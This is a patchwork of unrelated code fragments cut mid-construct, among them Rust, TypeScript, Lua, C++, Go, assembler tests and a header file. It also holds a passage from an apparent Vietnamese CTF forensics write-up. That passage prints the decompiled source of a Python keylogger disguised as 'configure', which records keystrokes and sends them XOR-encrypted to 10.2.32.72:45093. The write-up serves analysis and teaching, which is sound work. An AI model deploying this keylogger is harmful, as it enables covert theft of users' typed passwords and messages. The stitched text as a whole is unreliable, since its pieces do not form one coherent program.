f) -> String {
        let minutes_planned = self
            .anime
            .statuses
            .iter()
            .find(|stat| stat.status.as_str() == "PLANNING")
            .map_or(0, |stat| stat.minutes_watched);

        format_time(f64::from(minutes_planned))
    }

    pub fn mean_score(&self) -> f32 {
        self.anime.mean_score
    }

    pub fn standard_deviation(&self) -> f32 {
        self.anime.standard_deviation
    }

    pub fn chapters_read(&self) -> String {
        format!("{}", self.manga.chapters_read)
    }
}
mod credentials;
pub use self::credentials::Credentials;
mod device_provisioning_info;
pub use self::device_provisioning_info::DeviceProvisioningInfo;
mod error_response;
pub use self::error_response::ErrorResponse;

// TODO(farcaller): sort out files
pub struct File;
<reponame>Javran/exercism-solutions<filename>rust/macros/src/lib.rs<gh_stars>0
#[macro_export]
macro_rules! hashmap {
    () => {
        crate::HashMap::new()
    };
    (,) => {
        compile_error!("`hashmap!(,)` is not allowed.");
    };
    ($($k: expr => $v: expr),* $(,)?) => {
        {
            use crate::HashMap;
            let mut hm = HashMap::new();
            $(
                hm.insert($k, $v);
            )*
            hm
        }
    };
}
use rdb2rdf::models::semantic_model::SemanticType;
use std::collections::HashMap;

/// We use semantic type to help justify if class C (not data node) should link to class A or class B.
/// Score is a potential gain if switching to another class (for example: potential gain if C link to B instead of A, currently C link to A)
/// Notice that parent_stypes can be NULL, store in empty string won't be a problem, since if we don't have parent stype, this
/// stype_assistant won't be invoked anyway.

#[derive(Serialize, Deserialize, Clone)]
pub struct STypeDetail {
    stype: SemanticType,
    parent_stypes: Vec<SemanticType>
}

#[derive(Serialize, Deserialize, Clone, Default)]
pub struct STypeAssistant {
    // because size of vec is small, linear search is actually faster than hashing
    stype_details: Vec<HashMap<String, Vec<STypeDetail>>>
}

impl STypeAssistant {
    pub fn get_potential_gain(&self, sm_idx: usize, attr: &str, class_uri: &str, predicate: &str, parent_class_uri: &str, parent_predicate: &str) -> Option<f32> {
        match self.stype_details[sm_idx][attr]
            .iter()
            .find(|stype| stype.stype.class_uri == class_uri && stype.stype.predicate == predicate) {
            None => None,
            Some(stype) => {
                if stype.parent_stypes.len() == 1 {
                    None
                } else {
                    match (0..stype.parent_stypes.len())
                        .find(|&i| stype.parent_stypes[i].class_uri == parent_class_uri && stype.parent_stypes[i].predicate == parent_predicate) {
                        None => None,
                        Some(i) => {
                            if i > 0 {
                                Some(stype.parent_stypes[i].score - stype.parent_stypes[0].score)
                            } else {
                                Some(stype.parent_stypes[0].score - stype.parent_stypes[i].score)
                            }
                        }
                    }
                }
            }


h the emoji this message reaction belongs to
     */
    public readonly createdAt: Date;

    /**
     * The ID of the emoji this message reaction belongs to.
     */
    public readonly id: string;

    public constructor(public client: Client, data: APIMessageReaction) {
        this.id = data.customReactionId.toString();
        this.createdAt = new Date(data.createdAt);
        this.users = new Collection();

        for (const user of data.users) {
            this.users.set(user.id, this.client.users.cache.get(user.id) ?? user);
        }
    }
}
import EventEmmiter from 'events'

export default class SafeEmiiter<Events extends Record<PropertyKey, unknown[]>> {
  private emitter = new EventEmmiter();
  public emit<K extends string | symbol>(
    channel: K,
    ...data: Events[K]
  ) {
    return this.emitter.emit(channel, ...data)
  }

  public on<K extends string | symbol>(
    channel: K,
    listener: (...data: Events[K]) => void
  ) {
    return this.emitter.on(channel, listener)
  }
}
import { useState, useEffect } from 'react';
import { getPromptsFromLocalStorage } from '../utils/localStorageUtils';
import { getRandomPrompt } from '../utils/promptsUtils';

export const useGame = () => {
  const LSprompts = getPromptsFromLocalStorage()
  const [matchState, setMatchState] = useState<boolean>(false);
  const [inputValue, setInputValue] = useState<string>('');
  const [prompt, setPrompt] = useState<string>('');
  const [score, setScore] = useState<number>(0);
  const [prompts, setPrompts] = useState(LSprompts)

  useEffect(() => {
    if (inputValue === prompt) {
      if (prompt === '' && score === 0) {
        const randomPrompt = getRandomPrompt(prompts);
        return setPrompt(randomPrompt);
      }

      setScore(score => score + 1);
      setInputValue('');
      setMatchState(true);
      setTimeout(() => setMatchState(false), 1500);
      setPrompt(getRandomPrompt(prompts));
    }
  }, [prompt, inputValue, score]);

  return {
    matchState,
    inputValue,
    prompt,
    score,
    setInputValue
  };
};
// Copyright (c) 2018 Tim Perkins

import {getOrInitialize} from "../utils/common";

import * as Utils from "./utils";

export class Tower {

  public static readonly RESERVE_CAPACITY_RATIO = 0.5;
  public static readonly DELAY_COUNTDOWN_TICKS = 20;

  public static run(tower: StructureTower): void {
    const towerMemory = Utils.getTowerMemory(tower);
    const delayCountdown = getOrInitialize(towerMemory, "delayCountdown", () => {
      return Tower.DELAY_COUNTDOWN_TICKS;
    });
    const hostile = tower.pos.findClosestByRange(FIND_HOSTILE_CREEPS);
    // Update the delay countdown
    const nextDelayCountdown =
        hostile ? Math.max(delayCountdown - 1, 0) : Tower.DELAY_COUNTDOWN_TICKS;
    towerMemory.delayCountdown = nextDelayCountdown;
    const reserveEnergyThreshold = Tower.RESERVE_CAPACITY_RATIO * tower.energyCapacity;
    if (hostile) {
      if (delayCountdown === 0) {
        tower.attack(hostile);
      }
    } else if (tower.energy > reserveEnergyThreshold) {
      // Always save energy to attack
      const hurtCreep = tower.pos.findClosestByRange(FIND_MY_CREEPS, {
        filter: (creep) => creep.hits < creep.hitsMax,
      });
      if (hurtCreep) {
        tower.heal(hurtCreep);
      } else {
        const damagedContainer = tower.pos.findClosestByRange(FIND_STRUCTURES, {
          filter: (structure) => (structure.structureType === STRUCTURE_CONTAINER
                                  && structure.hits < structure.


enablePlayerCanDrive = false,
	encyclopediaAnimation = {
		args = {
			[19] = 1
		}
	},
	life = 3200,
	mapclasskey = "P0091000069",
	mass = 6800000,
	max_velocity = 15.4333,
	numParking = 1,
	race_distance = 3278000,
	race_velocity = 15.4333,
	radar1_period = 3,
	radar2_period = 1,
	radar3_period = 6,
	shape_table_data = { {
			classname = "lLandShip",
			desrt = "",
			file = "052c",
			name = "052c",
			positioning = "BYNORMAL",
			username = "Type_052C"
		}, {
			file = "",
			name = ""
		} },
	shipLength = 155.5,
	snd = {},
	speedup = 0.229734,
	swapped_names = true,
	tags = { "Destroyer" },
	type = "Type_052C",
	visual = {
		shape = "052c",
		shape_dstr = ""
	}
}


PrettyUnitTestResultPrinter::OnTestCaseEnd(const TestCase& test_case) {
  if (!GTEST_FLAG(print_time)) return;

  test_case_name_ = test_case.name();
  const internal::String counts =
      FormatCountableNoun(test_case.test_to_run_count(), "test", "tests");
  ColoredPrintf(COLOR_GREEN, "[----------] ");
  printf("%s from %s (%s ms total)\n\n",
         counts.c_str(), test_case_name_.c_str(),
         internal::StreamableToString(test_case.elapsed_time()).c_str());
  fflush(stdout);
}

void PrettyUnitTestResultPrinter::OnEnvironmentsTearDownStart(
    const UnitTest& /*unit_test*/) {
  ColoredPrintf(COLOR_GREEN,  "[----------] ");
  printf("Global test environment tear-down\n");
  fflush(stdout);
}

// Internal helper for printing the list of failed tests.
void PrettyUnitTestResultPrinter::PrintFailedTests(const UnitTest& unit_test) {
  const int failed_test_count = unit_test.failed_test_count();
  if (failed_test_count == 0) {
    return;
  }

  for (int i = 0; i < unit_test.total_test_case_count(); ++i) {
    const TestCase& test_case = *unit_test.GetTestCase(i);
    if (!test_case.should_run() || (test_case.failed_test_count() == 0)) {
      continue;
    }
    for (int j = 0; j < test_case.total_test_count(); ++j) {
      const TestInfo& test_info = *test_case.GetTestInfo(j);
      if (!test_info.should_run() || test_info.result()->Passed()) {
        continue;
      }
      ColoredPrintf(COLOR_RED, "[  FAILED  ] ");
      printf("%s.%s", test_case.name(), test_info.name());
      PrintFullTestCommentIfPresent(test_info);
      printf("\n");
    }
  }
}

void PrettyUnitTestResultPrinter::OnTestIterationEnd(const UnitTest& unit_test,
                                                     int /*iteration*/) {
  ColoredPrintf(COLOR_GREEN,  "[==========] ");
  printf("%s from %s ran.",
         FormatTestCount(unit_test.test_to_run_count()).c_str(),
         FormatTestCaseCount(unit_test.test_case_to_run_count()).c_str());
  if (GTEST_FLAG(print_time)) {
    printf(" (%s ms total)",
           internal::StreamableToString(unit_test.elapsed_time()).c_str());
  }
  printf("\n");
  ColoredPrintf(COLOR_GREEN,  "[  PASSED  ] ");
  printf("%s.\n", FormatTestCount(unit_test.successful_test_count()).c_str());

  int num_failures = unit_test.failed_test_count();
  if (!unit_test.Passed()) {
    const int failed_test_count = unit_test.failed_test_count();
    ColoredPrintf(COLOR_RED,  "[  FAILED  ] ");
    printf("%s, listed below:\n", FormatTestCount(failed_test_count).c_str());
    PrintFailedTests(unit_test);
    printf("\n%2d FAILED %s\n", num_failures,
                        num_failures == 1 ? "TEST" : "TESTS");
  }

  int num_disabled = unit_test.disabled_test_count();
  if (num_disabled && !GTEST_FLAG(also_run_disabled_tests)) {
    if (!num_failures) {
      printf("\n");  // Add a spacer if no FAILURE banner is displayed.
    }
    ColoredPrintf(COLOR_YELLOW,
                  "  YOU HAVE %d DISABLED %s\n\n",
                  num_disabled,


encoding = headers and headers["transfer-encoding"]
    if transfer_encoding and string.lower(transfer_encoding) == "chunked" then
        vlc.msg.dbg("[VLSub] Response uses chunked transfer encoding")
        return decode_chunked_body(body)
    end

    -- For non-chunked responses, look for JSON content
    local json_start = string.find(body, "{")
    local json_end = nil

    if json_start then
        -- Find the matching closing brace
        local brace_count = 0
        for i = json_start, string.len(body) do
            local char = string.sub(body, i, i)
            if char == "{" then
                brace_count = brace_count + 1
            elseif char == "}" then
                brace_count = brace_count - 1
                if brace_count == 0 then
                    json_end = i
                    break
                end
            end
        end
    end

    if json_start and json_end then
        local clean_json = string.sub(body, json_start, json_end)
        vlc.msg.dbg("[VLSub] Extracted JSON from response: " .. string.len(clean_json) .. " bytes")
        return clean_json
    end

    -- If no clear JSON found, try basic cleanup
    local cleaned = body

    -- Remove leading numbers (chunk sizes) followed by newlines
    cleaned = string.gsub(cleaned, "^%x+\r?\n", "")

    -- Remove trailing numbers and whitespace
    cleaned = string.gsub(cleaned, "\r?\n%x+\r?\n?$", "")
    cleaned = string.gsub(cleaned, "%x+$", "")

    -- Remove leading/trailing whitespace
    cleaned = string.gsub(cleaned, "^%s+", "")
    cleaned = string.gsub(cleaned, "%s+$", "")

    vlc.msg.dbg("[VLSub] Basic cleanup applied: " .. string.len(cleaned) .. " bytes")
    return cleaned
end

function VLCHttpClient:_make_request_stream(method, url, data)
    vlc.msg.dbg("[VLSub] Using optimized vlc.stream for HTTPS request")

    -- Build final URL with minimal parameters to reduce URL length
    local final_url = self:_build_url_params(url, data)

    -- Single attempt with aggressive timeout
    local stream = vlc.stream(final_url)
    if not stream then
        return nil
    end

    local response_data = ""
    local chunk_size = 16384  -- Larger chunks for better performance
    local max_size = 1048576  -- 1MB limit
    local bytes_read = 0

    -- Read with timeout
    local start_time = os.clock()
    while bytes_read < max_size do
        -- Aggressive timeout check
        if (os.clock() - start_time) > self.timeout then
            vlc.msg.dbg("[VLSub] Stream timeout, breaking")
            break
        end

        local chunk = stream:read(chunk_size)
        if not chunk or chunk == "" then
            break
        end

        response_data = response_data .. chunk
        bytes_read = bytes_read + #chunk

        -- Early break if we detect end of JSON
        if string.find(chunk, "}$") and string.find(response_data, "^{") then
            vlc.msg.dbg("[VLSub] Detected complete JSON, stopping read")
            break
        end
    end

    vlc.msg.dbg("[VLSub] Read " .. bytes_read .. " bytes in " ..
                string.format("%.2f", (os.clock() - start_time)) .. " seconds")

    if bytes_read > 0 then
        local cleaned_body = clean_response_body(response_data, {})
        return {
            status = 200,
            headers = {},
            body = cleaned_body
        }
    end

    return nil
end

-- Use vlc.net.connect_tcp for HTTP requests
function VLCHttpClient:_make_request_tcp(method, url, data)
    local protocol, host, port, path = parse_url(url)
    if not protocol or not host then
        vlc.msg.err("[VLSub] Invalid URL: " .. url)
        return nil


abs(value) > 0.95))) {

// 		Number_T result = cln::expt(Integer_T(-1),p) * cln::expt(cln::log(value),n)
// 		                   * cln::expt(cln::log(1-value),p) / cln::factorial(n) / cln::factorial(p);

// 		for (int s=0; s<n; s++) {
// 			Number_T res2;
// 			for (int r=0; r<p; r++) {
// 				res2 = res2 + cln::expt(Integer_T(-1),r) * cln::expt(cln::log(1-value),r)
// 				              * S_num(p-r,n-s,1-value).to_cl_N() / cln::factorial(r);
// 			}
// 			result = result + cln::expt(cln::log(value),s) * (S_num(n-s,p,1).to_cl_N() - res2) / cln::factorial(s);
// 		}

// 		return result;

// 	}
// 	// [Kol] (5.12)
// 	if (cln::abs(value) > 1) {

// 		Number_T result;

// 		for (int s=0; s<p; s++) {
// 			for (int r=0; r<=s; r++) {
// 				result = result + cln::expt(Integer_T(-1),s) * cln::expt(cln::log(-value),r) * cln::factorial(n+s-r-1)
// 				                  / cln::factorial(r) / cln::factorial(s-r) / cln::factorial(n-1)
// 				                  * S_num(n+s-r,p-s,cln::recip(value)).to_cl_N();
// 			}
// 		}
// 		result = result * cln::expt(Integer_T(-1),n);

// 		Number_T res2;
// 		for (int r=0; r<n; r++) {
// 			res2 = res2 + cln::expt(cln::log(-value),r) * C(n-r,p) / cln::factorial(r);
// 		}
// 		res2 = res2 + cln::expt(cln::log(-value),n+p) / cln::factorial(n+p);

// 		result = result + cln::expt(Integer_T(-1),p) * res2;

// 		return result;
// 	}
// 	else {
// 		return S_projection(n, p, value, prec);
// 	}
}

} // end of anonymous namespace

*/

//////////////////////////////////////////////////////////////////////
//
// Nielsen's generalized polylogarithm  S(n,p,x)
//
// GiNaC function
//
//////////////////////////////////////////////////////////////////////

/*

static ex S_evalf(const ex& n, const ex& p, const ex& x, PyObject* parent)
{
	if (n.info(info_flags::posint) && p.info(info_flags::posint)) {
		if (is_a<numeric>(x)) {
			return S_num(ex_to<numeric>(n).to_int(), ex_to<numeric>(p).to_int(), ex_to<numeric>(x));
		} else {
			ex x_val = x.evalf(0, parent);
			if (is_a<numeric>(x_val)) {
				return S_num(ex_to<numeric>(n).to_int(), ex_to<numeric>(p).to_int(), ex_to<numeric>(x_val));
			}
		}
	}
	return S(n, p, x).hold();
}

static ex S_eval(const ex& n, const ex& p, const ex& x)
{
	if (n.info(info_flags::posint) && p.info(info_flags::posint)) {
		if (x == 0) {
			return _ex0;
		}


 be basetypes.StringValue, was: %T`, stringAttributeAttribute))
	}

	if diags.HasError() {
		return nil, diags
	}

	return SetNestedBlockAssocExtTypeValue{
		BoolAttribute:    boolAttributeVal,
		Float64Attribute: float64AttributeVal,
		Int64Attribute:   int64AttributeVal,
		NumberAttribute:  numberAttributeVal,
		StringAttribute:  stringAttributeVal,
		state:            attr.ValueStateKnown,
	}, diags
}

func NewSetNestedBlockAssocExtTypeValueNull() SetNestedBlockAssocExtTypeValue {
	return SetNestedBlockAssocExtTypeValue{
		state: attr.ValueStateNull,
	}
}

func NewSetNestedBlockAssocExtTypeValueUnknown() SetNestedBlockAssocExtTypeValue {
	return SetNestedBlockAssocExtTypeValue{
		state: attr.ValueStateUnknown,
	}
}

func NewSetNestedBlockAssocExtTypeValue(attributeTypes map[string]attr.Type, attributes map[string]attr.Value) (SetNestedBlockAssocExtTypeValue, diag.Diagnostics) {
	var diags diag.Diagnostics

	// Reference: https://github.com/hashicorp/terraform-plugin-framework/issues/521
	ctx := context.Background()

	for name, attributeType := range attributeTypes {
		attribute, ok := attributes[name]

		if !ok {
			diags.AddError(
				"Missing SetNestedBlockAssocExtTypeValue Attribute Value",
				"While creating a SetNestedBlockAssocExtTypeValue value, a missing attribute value was detected. "+
					"A SetNestedBlockAssocExtTypeValue must contain values for all attributes, even if null or unknown. "+
					"This is always an issue with the provider and should be reported to the provider developers.\n\n"+
					fmt.Sprintf("SetNestedBlockAssocExtTypeValue Attribute Name (%s) Expected Type: %s", name, attributeType.String()),
			)

			continue
		}

		if !attributeType.Equal(attribute.Type(ctx)) {
			diags.AddError(
				"Invalid SetNestedBlockAssocExtTypeValue Attribute Type",
				"While creating a SetNestedBlockAssocExtTypeValue value, an invalid attribute value was detected. "+
					"A SetNestedBlockAssocExtTypeValue must use a matching attribute type for the value. "+
					"This is always an issue with the provider and should be reported to the provider developers.\n\n"+
					fmt.Sprintf("SetNestedBlockAssocExtTypeValue Attribute Name (%s) Expected Type: %s\n", name, attributeType.String())+
					fmt.Sprintf("SetNestedBlockAssocExtTypeValue Attribute Name (%s) Given Type: %s", name, attribute.Type(ctx)),
			)
		}
	}

	for name := range attributes {
		_, ok := attributeTypes[name]

		if !ok {
			diags.AddError(
				"Extra SetNestedBlockAssocExtTypeValue Attribute Value",
				"While creating a SetNestedBlockAssocExtTypeValue value, an extra attribute value was detected. "+
					"A SetNestedBlockAssocExtTypeValue must not contain values beyond the expected attribute types. "+
					"This is always an issue with the provider and should be reported to the provider developers.\n\n"+
					fmt.Sprintf("Extra SetNestedBlockAssocExtTypeValue Attribute Name: %s", name),
			)
		}
	}

	if diags.HasError() {
		return NewSetNestedBlockAssocExtTypeValueUnknown(), diags
	}

	boolAttributeAttribute, ok := attributes["bool_attribute"]

	if !ok {
		diags.AddError(
			"Attribute Missing",
			`bool_attribute is missing from object`)

		return NewSetNestedBlockAssocExtTypeValueUnknown(), diags
	}

	boolAttributeVal, ok := boolAttributeAttribute.(basetypes.BoolValue)

	if !ok {
		diags.AddError(
			"Attribute Wrong


/ Check to see if the pattern matches one of our parent dirs.
			if len(patDirs[i]) <= len(parentPathDirs) {
				match, _ = filepath.Match(strings.Join(patDirs[i], "/"),
					strings.Join(parentPathDirs[:len(patDirs[i])], "/"))
			}
		}

		if match {
			matched = !negative
		}
	}

	if matched {
		logrus.Debugf("Skipping excluded path: %s", file)
	}

	return matched, nil
}

// CopyFile copies from src to dst until either EOF is reached
// on src or an error occurs. It verifies src exists and remove
// the dst if it exists.
func CopyFile(src, dst string) (int64, error) {
	cleanSrc := filepath.Clean(src)
	cleanDst := filepath.Clean(dst)
	if cleanSrc == cleanDst {
		return 0, nil
	}
	sf, err := os.Open(cleanSrc)
	if err != nil {
		return 0, err
	}
	defer sf.Close()
	if err := os.Remove(cleanDst); err != nil && !os.IsNotExist(err) {
		return 0, err
	}
	df, err := os.Create(cleanDst)
	if err != nil {
		return 0, err
	}
	defer df.Close()
	return io.Copy(df, sf)
}

// GetTotalUsedFds Returns the number of used File Descriptors by
// reading it via /proc filesystem.
func GetTotalUsedFds() int {
	if fds, err := ioutil.ReadDir(fmt.Sprintf("/proc/%d/fd", os.Getpid())); err != nil {
		logrus.Errorf("Error opening /proc/%d/fd: %s", os.Getpid(), err)
	} else {
		return len(fds)
	}
	return -1
}

// ReadSymlinkedDirectory returns the target directory of a symlink.
// The target of the symbolic link may not be a file.
func ReadSymlinkedDirectory(path string) (string, error) {
	var realPath string
	var err error
	if realPath, err = filepath.Abs(path); err != nil {
		return "", fmt.Errorf("unable to get absolute path for %s: %s", path, err)
	}
	if realPath, err = filepath.EvalSymlinks(realPath); err != nil {
		return "", fmt.Errorf("failed to canonicalise path for %s: %s", path, err)
	}
	realPathInfo, err := os.Stat(realPath)
	if err != nil {
		return "", fmt.Errorf("failed to stat target '%s' of '%s': %s", realPath, path, err)
	}
	if !realPathInfo.Mode().IsDir() {
		return "", fmt.Errorf("canonical path points to a file '%s'", realPath)
	}
	return realPath, nil
}

// CreateIfNotExists creates a file or a directory only if it does not already exist.
func CreateIfNotExists(path string, isDir bool) error {
	if _, err := os.Stat(path); err != nil {
		if os.IsNotExist(err) {
			if isDir {
				return os.MkdirAll(path, 0755)
			}
			if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
				return err
			}
			f, err := os.OpenFile(path, os.O_CREATE, 0755)
			if err != nil {
				return err
			}
			f.Close()
		}
	}
	return nil
}
// +build windows

package archive

import (
	"os"
	"testing"
)

func TestCanonicalTarNameForPath(t *testing.T) {
	cases := []struct {
		in, expected string
		shouldFail   bool
	}{
		{"foo", "foo", false},
		{"foo/bar", "___", true}, // unix-styled windows path must fail
		{`foo\bar`, "foo/bar", false},
	}
	for _, v := range cases {
		if out, err := CanonicalTarNameForPath(v.in); err != nil && !v.shouldFail {
			t.Fatalf("cannot get canonical name for path: %s: %v",


::*;

    use assert_approx_eq::assert_approx_eq;

    use crate::waveform::{bytes_to_samples, bytes_to_symbols};

    #[test]
    fn test_num_bit_errors() {
        let sync_to = crate::waveform::PREAMBLE_SYNC_WORD;
        let one_error = sync_to | 0x40u32;
        let another_error = 0xa9ababab;

        assert_eq!(0, num_bit_errors(sync_to, sync_to));
        assert_eq!(1, num_bit_errors(sync_to, one_error));
        assert_eq!(1, num_bit_errors(sync_to, another_error));
    }

    #[test]
    fn test_codecorr() {
        const BYTES: &[u8] = &[0xAB, 0xAB, 0xAB, 0xAB, 0x21];
        let mut syms = bytes_to_symbols(BYTES);

        let mut uut = CodeCorrelator::new(crate::waveform::PREAMBLE_SYNC_WORD);

        // correlation reaches minimum error at 32 bits
        let out: Vec<u32> = syms.iter().map(|s| uut.search(*s)).collect();
        for (i, err) in out.iter().enumerate() {
            match i {
                31 => assert_eq!(*err, 0),
                _ => assert!(*err > 0),
            }
        }

        // flip one of the bits. now the minimum error is one.
        syms[19] = -syms[19];

        let out: Vec<u32> = syms.iter().map(|s| uut.search(*s)).collect();
        for (i, err) in out.iter().enumerate() {
            match i {
                31 => assert_eq!(*err, 1),
                _ => assert!(*err >= 1),
            }
        }
    }

    #[test]
    fn test_power_tracker() {
        let mut ptrack = PowerTracker::new(1.0f32);
        ptrack.track(1.0f32);
        ptrack.bandwidth = 0.5f32;
        assert_approx_eq!(0.62500f32, ptrack.track(-0.5f32));

        ptrack.power = 1.0f32;
        for _i in 0..16 {
            ptrack.track(1.0f32);
        }
        assert_approx_eq!(1.0f32, ptrack.power);
        assert_approx_eq!(1.0f32, ptrack.track(1.0f32));
    }

    #[test]
    fn test_simple_sync() {
        const BYTES: &[u8] = &[0xAB, 0xAB, 0xAB, 0xAB, 0x21];
        let insamp = bytes_to_samples(BYTES, 2);

        let mut squelch =
            CodeAndPowerSquelch::new(crate::waveform::PREAMBLE_SYNC_WORD, 0, 0.0, 0.0, 0.1);
        assert!(!squelch.is_sync());

        let mut align_idx = 0; // sync sequence begins at 0 samples in insamp
        for (chunk, inp) in insamp.chunks(2).enumerate() {
            let lock = squelch.input(inp);
            match lock {
                Some(out) => {
                    // only get one sync pulse
                    if out.state == SquelchState::Acquired {
                        assert_eq!(chunk, 31);
                        assert_eq!(squelch.correlator.data, 0xabababab);
                    }
                    assert!(out.state != SquelchState::Acquired || chunk == 31);

                    // outsamp is aligned with insamp
                    assert_eq!(&out.samples, &insamp[align_idx..align_idx + 16]);
                    align_idx += 16;

                    assert_eq!(out.symbol_counter - 1, chunk as u64);
                }
                _ => {}
            }
        }

        asser


0x38,0x0a,0x7e,0x01,0x01,0x01,0x00]

v_trunc_f32_dpp v5, v1 row_shl:15 row_mask:0x0 bank_mask:0x0
// CHECK: [0xfa,0x38,0x0a,0x7e,0x01,0x0f,0x01,0x00]

v_trunc_f32_dpp v5, v1 row_shr:1 row_mask:0x0 bank_mask:0x0
// CHECK: [0xfa,0x38,0x0a,0x7e,0x01,0x11,0x01,0x00]

v_trunc_f32_dpp v5, v1 row_shr:15 row_mask:0x0 bank_mask:0x0
// CHECK: [0xfa,0x38,0x0a,0x7e,0x01,0x1f,0x01,0x00]

v_trunc_f32_dpp v5, v1 row_ror:1 row_mask:0x0 bank_mask:0x0
// CHECK: [0xfa,0x38,0x0a,0x7e,0x01,0x21,0x01,0x00]

v_trunc_f32_dpp v5, v1 row_ror:15 row_mask:0x0 bank_mask:0x0
// CHECK: [0xfa,0x38,0x0a,0x7e,0x01,0x2f,0x01,0x00]

v_trunc_f32_dpp v5, v1 quad_perm:[0,1,2,3] row_mask:0x1 bank_mask:0x0
// CHECK: [0xfa,0x38,0x0a,0x7e,0x01,0xe4,0x00,0x10]

v_trunc_f32_dpp v5, v1 quad_perm:[0,1,2,3] row_mask:0x3 bank_mask:0x0
// CHECK: [0xfa,0x38,0x0a,0x7e,0x01,0xe4,0x00,0x30]

v_trunc_f32_dpp v5, v1 quad_perm:[0,1,2,3] row_mask:0xf bank_mask:0x0
// CHECK: [0xfa,0x38,0x0a,0x7e,0x01,0xe4,0x00,0xf0]

v_trunc_f32_dpp v5, v1 quad_perm:[0,1,2,3] bank_mask:0x0
// CHECK: [0xfa,0x38,0x0a,0x7e,0x01,0xe4,0x00,0xf0]

v_trunc_f32_dpp v5, v1 quad_perm:[0,1,2,3] row_mask:0x0 bank_mask:0x1
// CHECK: [0xfa,0x38,0x0a,0x7e,0x01,0xe4,0x00,0x01]

v_trunc_f32_dpp v5, v1 quad_perm:[0,1,2,3] row_mask:0x0 bank_mask:0x3
// CHECK: [0xfa,0x38,0x0a,0x7e,0x01,0xe4,0x00,0x03]

v_trunc_f32_dpp v5, v1 quad_perm:[0,1,2,3] row_mask:0x0 bank_mask:0xf
// CHECK: [0xfa,0x38,0x0a,0x7e,0x01,0xe4,0x00,0x0f]

v_trunc_f32_dpp v5, v1 quad_perm:[0,1,2,3] row_mask:0x0
// CHECK: [0xfa,0x38,0x0a,0x7e,0x01,0xe4,0x00,0x0f]


#ifndef INC_BARNOWL_WINDOW_H
#define INC_BARNOWL_WINDOW_H

#include <glib.h>
#include <glib-object.h>

#include <stdbool.h>

G_BEGIN_DECLS

#define OWL_TYPE_WINDOW                  (owl_window_get_type ())
#define OWL_WINDOW(obj)                  (G_TYPE_CHECK_INSTANCE_CAST ((obj), OWL_TYPE_WINDOW, OwlWindow))
#define OWL_IS_WINDOW(obj)               (G_TYPE_CHECK_INSTANCE_TYPE ((obj), OWL_TYPE_WINDOW))
#define OWL_WINDOW_CLASS(klass)          (G_TYPE_CHECK_CLASS_CAST ((klass), OWL_TYPE_WINDOW, OwlWindowClass))
#define OWL_IS_WINDOW_CLASS(klass)       (G_TYPE_CHECK_CLASS_TYPE ((klass), OWL_TYPE_WINDOW))
#define OWL_WINDOW_GET_CLASS(obj)        (G_TYPE_INSTANCE_GET_CLASS ((obj), OWL_TYPE_WINDOW, OwlWindowClass))

typedef struct _owl_window OwlWindow;
typedef struct _OwlWindowClass OwlWindowClass;
typedef OwlWindow owl_window; /* meh */

struct _OwlWindowClass
{
  GObjectClass parent_class;
  /* default implementations for signals */
  void (*redraw)(owl_window *, WINDOW *);
  void (*resized)(owl_window *);
};

GType owl_window_get_type(void);

owl_window *owl_window_get_screen(void);

owl_window *owl_window_new(owl_window *parent);
void owl_window_unlink(owl_window *w);

void owl_window_children_foreach(owl_window *parent, GFunc func, gpointer user_data);

owl_window *owl_window_parent(owl_window *parent);
owl_window *owl_window_first_child(owl_window *parent);
owl_window *owl_window_next_sibling(owl_window *w);
owl_window *owl_window_previous_sibling(owl_window *w);

void owl_window_show(owl_window *w);
void owl_window_show_all(owl_window *w);
void owl_window_hide(owl_window *w);
bool owl_window_is_shown(owl_window *w);
bool owl_window_is_realized(owl_window *w);
bool owl_window_is_toplevel(owl_window *w);
bool owl_window_is_subwin(owl_window *w);

void owl_window_set_cursor(owl_window *w);
void owl_window_set_default_cursor(owl_window *w);

void owl_window_dirty(owl_window *w);
void owl_window_dirty_children(owl_window *w);
void owl_window_redraw_scheduled(void);

void owl_window_get_position(owl_window *w, int *nlines, int *ncols, int *begin_y, int *begin_x);
void owl_window_set_position(owl_window *w, int nlines, int ncols, int begin_y, int begin_x);
void owl_window_move(owl_window *w, int begin_y, int begin_x);
void owl_window_resize(owl_window *w, int nlines, int ncols);

GSource *owl_window_redraw_source_new(void);

/* Standard callback functions in windowcb.c */

void owl_window_erase_cb(owl_window *w, WINDOW *win, void *user_data);
void owl_window_fill_parent_cb(owl_window *parent, void *user_data);

G_END_DECLS

#endif /* INC_BARNOWL_WINDOW_H */


gure` được viết bằng ngôn ngữ python, để decompile một chương trình python ta có thể sử dụng [pyinstxtractor.py](https://raw.githubusercontent.com/extremecoders-re/pyinstxtractor/refs/heads/master/pyinstxtractor.py) để đưa chương trình về dạng `.pyc` và sau đó có thể đưa nó trở về python byte code và cuối cùng là code .py gốc, ta có thể decompile file `configure.pyc` bằng uncompyle6 hoặc đưa [lên mạng](https://pylingual.io/)

```python
from pynput.keyboard import Listener
import socket
from Crypto.Util.number import bytes_to_long, long_to_bytes
import base64

class Keylogger:
    IP_ADDRESS = '10.2.32.72'
    PORT = 45093

    def __init__(self):
        self.log = ''
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    def on_press(self, key):
        if str(key) == 'Key.enter':
            print('Sending log report...')
            self.send_report()
        elif len(str(key)) == 3:
            self.log += str(key)[1] + ' '
        else:
            self.log += str(key) + ' '

    def send_report(self):
        self.socket.send(str(len(bin(bytes_to_long(self.log.encode()))) - 2).encode())
        key = int(base64.b64decode(self.socket.recv(9192)).decode())
        self.log = long_to_bytes(bytes_to_long(self.log.encode()) ^ key)
        self.socket.send(self.log)
        self.log = ''

    def start(self):
        self.socket.connect((self.IP_ADDRESS, self.PORT))
        with Listener(on_press=self.on_press) as listener:
            listener.join()
if __name__ == '__main__':
    keylogger = Keylogger()
    keylogger.start()
```

Đây là một keylogger đơn giản trao đổi dữ liệu giữa người dùng và `10.2.32.72:45093` và chú ý đến hàm `send_report` sẽ là cách chương trình mã hoá dữ liệu để gửi đi

```python
def send_report(self):
        self.socket.send(str(len(bin(bytes_to_long(self.log.encode()))) - 2).encode())
        key = int(base64.b64decode(self.socket.recv(9192)).decode())
        self.log = long_to_bytes(bytes_to_long(self.log.encode()) ^ key)
        self.socket.send(self.log)
        self.log = ''
```

Nói chung là `configure` sẽ nhận các thao tác nhập từ bàn phím của người dùng, lưu vào chuỗi `self.log` và đến khi nhấn `ENTER` thì:

- Đầu tiên sẽ gửi độ dài chuỗi vừa nhập đến địa chỉ của hacker


 输出: ["Alaska", "Dad"]
 *
 * 注意：
 * 你可以重复使用键盘上同一字符。
